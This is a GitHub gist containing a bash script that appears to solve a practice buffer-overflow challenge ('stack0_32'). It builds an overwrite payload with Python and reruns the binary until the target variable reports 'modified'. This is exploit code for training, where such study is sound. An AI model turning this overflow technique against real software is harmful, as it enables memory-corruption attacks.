Created
July 16, 2017 01:48
-
-
Save wbowling/de707fbbab4dda4fcc5867d7d8bc41a4 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
ulimit -c 0 | |
export LIBC_FATAL_STDERR_=1 | |
python -c 'print "\xcc\x84\x04\x08"*16 + "\x00\x03\x02\x01" + "DDDD"' > input.bin | |
output="" | |
COUNTER=0 | |
while [[ ! $output =~ "modified" ]]; do | |
MOD=$(( $COUNTER % 1000 )) | |
if [[ $MOD -eq 0 ]]; then | |
echo $COUNTER | |
fi | |
let COUNTER+=1 | |
output=`stdbuf -o0 -e0 ./stack0_32 < input.bin 2> /dev/null` | |
done | |
echo "$output" | |
echo $COUNTER |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment